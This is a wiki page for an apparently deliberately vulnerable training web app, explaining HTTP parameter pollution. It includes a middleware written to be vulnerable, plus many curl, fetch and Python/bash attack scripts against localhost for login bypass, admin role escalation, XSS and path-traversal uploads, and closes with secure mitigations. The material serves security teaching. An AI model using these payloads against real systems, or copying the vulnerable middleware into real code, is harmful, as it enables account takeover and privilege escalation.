Parameter Pollution - capstone-hermes/hermes-fullstack GitHub Wiki
HTTP Parameter Pollution (HPP) is a web application vulnerability that occurs when an application accepts and processes multiple parameters with the same name in unexpected ways. The Weak Website implements a global parameter pollution vulnerability that affects all endpoints and can be exploited for authentication bypass, authorization bypass, and business logic manipulation.
File: server/src/vulnerable-params.middleware.ts
@Injectable()
export class VulnerableParamsMiddleware implements NestMiddleware {
use(req: any, res: any, next: () => void) {
// V5.1.1: Apply parameter pollution vulnerability globally
if (req.body && typeof req.body === 'object') {
Object.keys(req.body).forEach(key => {
if (Array.isArray(req.body[key])) {
// Last parameter wins - vulnerable behavior
req.body[key] = req.body[key][req.body[key].length - 1];
}
});
}
next();
}
}
File: server/src/app.module.ts:36-39
export class AppModule implements NestModule {
configure(consumer: MiddlewareConsumer) {
// Apply vulnerable middleware to all routes
consumer.apply(VulnerableParamsMiddleware).forRoutes('*');
}
}
The middleware implements a "last parameter wins" policy where duplicate parameters result in the final value being used.
// Input with duplicate parameters
{
"email": ["[email protected]", "[email protected]"],
"password": ["userpass", "adminpass"],
"role": ["user", "admin"]
}
// After middleware processing
{
"email": "[email protected]", // Last value wins
"password": "adminpass", // Last value wins
"role": "admin" // Last value wins
}
When arrays are detected, the middleware automatically selects the last element, making this behavior predictable for attackers.
# Standard request with pollution
curl -X POST http://localhost:8080/auth/login \
-H "Content-Type: application/json" \
-d '{"email":"[email protected]","email":"[email protected]","password":"wrong","password":"password123"}'
// Using arrays in JSON
fetch('http://localhost:8080/auth/login', {
method: 'POST',
headers: {'Content-Type': 'application/json'},
body: JSON.stringify({
email: ['[email protected]', '[email protected]'],
password: ['normalpass', 'password123']
})
});
# Using form data with duplicate parameters
curl -X POST http://localhost:8080/auth/login \
-H "Content-Type: application/x-www-form-urlencoded" \
-d "[email protected]&[email protected]&password=wrong&password=correct"
# Create admin user via parameter pollution
curl -X POST http://localhost:8080/auth/signup \
-H "Content-Type: application/json" \
-d '{"email":"[email protected]","password":"Pass123!","role":"user","role":"admin"}'
Expected behavior: User role assignment Actual behavior: Admin role assignment due to last parameter winning
// Attempt to create multiple accounts simultaneously
const response = await fetch('/auth/signup', {
method: 'POST',
headers: {'Content-Type': 'application/json'},
body: JSON.stringify({
email: ['[email protected]', '[email protected]', '[email protected]'],
password: ['pass1', 'pass2', 'adminpass123'],
role: ['user', 'user', 'admin']
})
});
# Post with multiple content parameters
curl -X POST http://localhost:8080/posts/create \
-H "Content-Type: application/json" \
-H "Authorization: Bearer <token>" \
-d '{"content":"Normal post","content":"<script>alert('\''XSS'\'')</script>"}'
// Attempt to post as different user
fetch('/posts/create', {
method: 'POST',
headers: {
'Content-Type': 'application/json',
'Authorization': 'Bearer ' + token
},
body: JSON.stringify({
content: 'My post',
userId: [authenticatedUserId, targetUserId] // Try to spoof user ID
})
});
# Upload with multiple filenames
curl -X POST http://localhost:8080/file/upload \
-F "[email protected];filename=innocent.jpg;filename=../../../backdoor.php"
// Multiple path parameters
const formData = new FormData();
formData.append('file', file);
formData.append('path', 'uploads/safe/');
formData.append('path', '../../../');
// Pollute nested object properties
const payload = {
user: {
email: ['[email protected]', '[email protected]'],
role: ['user', 'admin'],
permissions: [['read'], ['read', 'write', 'admin']]
}
};
# Complex nested pollution
curl -X POST http://localhost:8080/api/endpoint \
-H "Content-Type: application/json" \
-d '{
"config": {
"security": ["enabled", "disabled"],
"access": ["restricted", "unrestricted"]
}
}'
// E-commerce scenario (theoretical)
const order = {
item: 'premium_product',
price: [299.99, 1.00], // Try to pay $1 instead of $299.99
currency: ['USD', 'EUR'], // Currency confusion
discount: [0, 100] // Apply 100% discount
};
// Inventory bypass
const purchase = {
productId: 'limited_item',
quantity: [1, 999], // Purchase 999 instead of 1
maxQuantity: [1, 999] // Override purchase limits
};
# API access control bypass
curl -X POST http://localhost:8080/api/admin/action \
-H "Content-Type: application/json" \
-H "Authorization: Bearer <user_token>" \
-d '{"action":"read","action":"admin","permission":"user","permission":"admin"}'
// Resource permission manipulation
const request = {
resourceId: 'public_resource',
accessLevel: ['read', 'admin'],
permissions: [['read'], ['read', 'write', 'delete']]
};
- Behavior: Last parameter wins (implemented by middleware)
- Arrays: Processed by custom middleware
- Objects: Deep parameter pollution possible
// PHP behavior with duplicate parameters
// URL: ?param=value1¶m=value2
// Result: $_GET['param'] = 'value2' (last wins)
// Array notation
// URL: ?param[]=value1¶m[]=value2
// Result: $_GET['param'] = ['value1', 'value2']
// ASP.NET behavior
// URL: ?param=value1¶m=value2
// Result: Request.QueryString["param"] = "value1,value2" (comma-separated)
<!-- HTML form with duplicate names -->
<form method="POST" action="/auth/login">
<input name="email" value="[email protected]">
<input name="email" value="[email protected]" style="display:none">
<input name="password" value="userpass">
<input name="password" value="adminpass" style="display:none">
</form>
// XMLHttpRequest pollution
const xhr = new XMLHttpRequest();
xhr.open('POST', '/auth/login');
xhr.setRequestHeader('Content-Type', 'application/json');
const data = JSON.stringify({
email: ['[email protected]', '[email protected]'],
password: ['normalpass', 'adminpass']
});
xhr.send(data);
#!/usr/bin/env python3
import requests
import json
from itertools import combinations
class ParameterPollutionTester:
def __init__(self, base_url):
self.base_url = base_url
self.session = requests.Session()
def test_login_pollution(self):
"""Test parameter pollution in login endpoint"""
# Test different pollution techniques
techniques = [
# Array method
{
"email": ["[email protected]", "[email protected]"],
"password": ["userpass", "password123"]
},
# Duplicate key method (JSON)
'{"email":"[email protected]","email":"[email protected]","password":"userpass","password":"password123"}',
]
for i, technique in enumerate(techniques):
print(f"Testing technique {i+1}")
if isinstance(technique, str):
# Raw JSON string
response = self.session.post(
f"{self.base_url}/auth/login",
data=technique,
headers={'Content-Type': 'application/json'}
)
else:
# Dictionary
response = self.session.post(
f"{self.base_url}/auth/login",
json=technique
)
if response.status_code == 200 and 'token' in response.text:
print(f"✓ Pollution successful with technique {i+1}")
return response.json().get('token')
else:
print(f"✗ Technique {i+1} failed")
return None
def test_registration_pollution(self):
"""Test privilege escalation via registration pollution"""
pollution_data = {
"email": f"polluted_{int(__import__('time').time())}@test.com",
"password": ["UserPass123!", "AdminPass123!"],
"role": ["user", "admin"] # Try to get admin role
}
response = self.session.post(
f"{self.base_url}/auth/signup",
json=pollution_data
)
if response.status_code == 200:
print("✓ Registration pollution may be successful")
# Try to login with the polluted account
login_data = {
"email": pollution_data["email"],
"password": pollution_data["password"][-1] # Use last password
}
login_response = self.session.post(
f"{self.base_url}/auth/login",
json=login_data
)
if 'token' in login_response.text:
return login_response.json().get('token')
return None
def test_post_pollution(self, auth_token):
"""Test content pollution in post creation"""
if not auth_token:
return False
headers = {'Authorization': f'Bearer {auth_token}'}
pollution_data = {
"content": ["Normal content", "<script>alert('Polluted XSS')</script>"],
"userId": [1, 999] # Try to spoof user ID
}
response = self.session.post(
f"{self.base_url}/posts/create",
json=pollution_data,
headers=headers
)
return response.status_code == 201
def run_all_tests(self):
"""Run comprehensive parameter pollution tests"""
print("=== Parameter Pollution Test Suite ===")
# Test authentication pollution
token = self.test_login_pollution()
if token:
print(f"Login pollution successful. Token: {token[:20]}...")
# Test registration pollution
reg_token = self.test_registration_pollution()
if reg_token:
print(f"Registration pollution successful. Token: {reg_token[:20]}...")
# Test post pollution
test_token = token or reg_token
if test_token:
post_success = self.test_post_pollution(test_token)
print(f"Post pollution: {'✓ Successful' if post_success else '✗ Failed'}")
print("=== Test Complete ===")
# Example usage
tester = ParameterPollutionTester("http://localhost:8080")
tester.run_all_tests()
#!/bin/bash
BASE_URL="http://localhost:8080"
echo "=== Parameter Pollution Test Suite ==="
# Test 1: Authentication Pollution
echo "Test 1: Authentication Parameter Pollution"
# Method 1: JSON array pollution
echo "Method 1: JSON Array Pollution"
curl -s -X POST "$BASE_URL/auth/login" \
-H "Content-Type: application/json" \
-d '{"email":["[email protected]","[email protected]"],"password":["wrong","password123"]}' \
| jq '.'
# Method 2: Duplicate key pollution (requires special parsing)
echo "Method 2: Duplicate Key Pollution"
curl -s -X POST "$BASE_URL/auth/login" \
-H "Content-Type: application/json" \
--data-raw '{"email":"[email protected]","email":"[email protected]","password":"wrong","password":"password123"}' \
| jq '.'
# Test 2: Registration Privilege Escalation
echo -e "\nTest 2: Registration Privilege Escalation"
TIMESTAMP=$(date +%s)
curl -s -X POST "$BASE_URL/auth/signup" \
-H "Content-Type: application/json" \
-d "{\"email\":\"polluted_$TIMESTAMP@test.com\",\"password\":[\"UserPass123!\",\"AdminPass123!\"],\"role\":[\"user\",\"admin\"]}" \
| jq '.'
# Test 3: Form Data Pollution
echo -e "\nTest 3: Form Data Parameter Pollution"
curl -s -X POST "$BASE_URL/auth/login" \
-d "[email protected]&[email protected]&password=wrong&password=password123" \
| jq '.'
echo -e "\n=== Test Complete ==="
// Browser console testing for parameter pollution
class ParameterPollutionTest {
constructor(baseUrl) {
this.baseUrl = baseUrl;
}
async testAuthPollution() {
// Test 1: Array pollution
const arrayPollution = await fetch(`${this.baseUrl}/auth/login`, {
method: 'POST',
headers: {'Content-Type': 'application/json'},
body: JSON.stringify({
email: ['[email protected]', '[email protected]'],
password: ['userpass', 'password123']
})
});
console.log('Array pollution result:', await arrayPollution.text());
// Test 2: Form data pollution
const formData = new FormData();
formData.append('email', '[email protected]');
formData.append('email', '[email protected]');
formData.append('password', 'userpass');
formData.append('password', 'password123');
const formPollution = await fetch(`${this.baseUrl}/auth/login`, {
method: 'POST',
body: formData
});
console.log('Form pollution result:', await formPollution.text());
}
async testPostPollution(token) {
const response = await fetch(`${this.baseUrl}/posts/create`, {
method: 'POST',
headers: {
'Content-Type': 'application/json',
'Authorization': `Bearer ${token}`
},
body: JSON.stringify({
content: ['Normal post', '<script>alert("Polluted XSS")</script>'],
userId: [1, 999]
})
});
console.log('Post pollution result:', await response.text());
}
}
// Usage in browser console
const tester = new ParameterPollutionTest('http://localhost:8080');
tester.testAuthPollution();
- Impact: Complete authentication system bypass
- Risk Level: Critical
- Business Impact: Unauthorized access to all user accounts
- Impact: Normal users gain administrative privileges
- Risk Level: High
- Business Impact: Unauthorized system administration
- Impact: Application logic circumvention
- Risk Level: Medium to High
- Business Impact: Fraudulent transactions, data manipulation
- Discovery: Attacker finds parameter pollution in login
- Enumeration: Tests pollution with known admin emails
- Exploitation: Bypasses authentication for multiple accounts
- Impact: Complete user database compromise
- Registration: Create account with user privileges
- Pollution: Use parameter pollution to gain admin role
- Persistence: Create additional admin accounts
- Impact: Permanent administrative access
- Authentication: Gain access via pollution
- Content Injection: Use pollution to inject malicious content
- User Targeting: Pollute user IDs to post as other users
- Impact: Reputation damage, malicious content distribution
// Proper parameter handling
@Injectable()
export class SecureParamsMiddleware implements NestMiddleware {
use(req: any, res: any, next: () => void) {
// Reject duplicate parameters
if (req.body && typeof req.body === 'object') {
Object.keys(req.body).forEach(key => {
if (Array.isArray(req.body[key])) {
// Log and reject duplicate parameters
console.warn(`Duplicate parameter detected: ${key}`);
throw new BadRequestException('Duplicate parameters not allowed');
}
});
}
next();
}
}
// Using class-validator for strict validation
export class LoginDto {
@IsEmail()
@IsString()
email: string;
@IsString()
@MinLength(6)
password: string;
}
// Express.js configuration
app.use(express.json({
strict: true, // Reject non-JSON
limit: '10mb', // Limit payload size
verify: (req, res, buf) => {
// Custom validation logic
const body = buf.toString();
if (body.includes('"email"') && body.lastIndexOf('"email"') !== body.indexOf('"email"')) {
throw new Error('Duplicate parameters detected');
}
}
}));
Next Steps:
- Explore Path Traversal for file-based attacks
- Learn about Command Injection for system access
- Review Authentication Bypass for combined techniques
Related Topics:
- SQL Injection - Often combined with parameter pollution
- Cross-Site Scripting - Content pollution leading to XSS
- File Upload Attacks - File parameter manipulation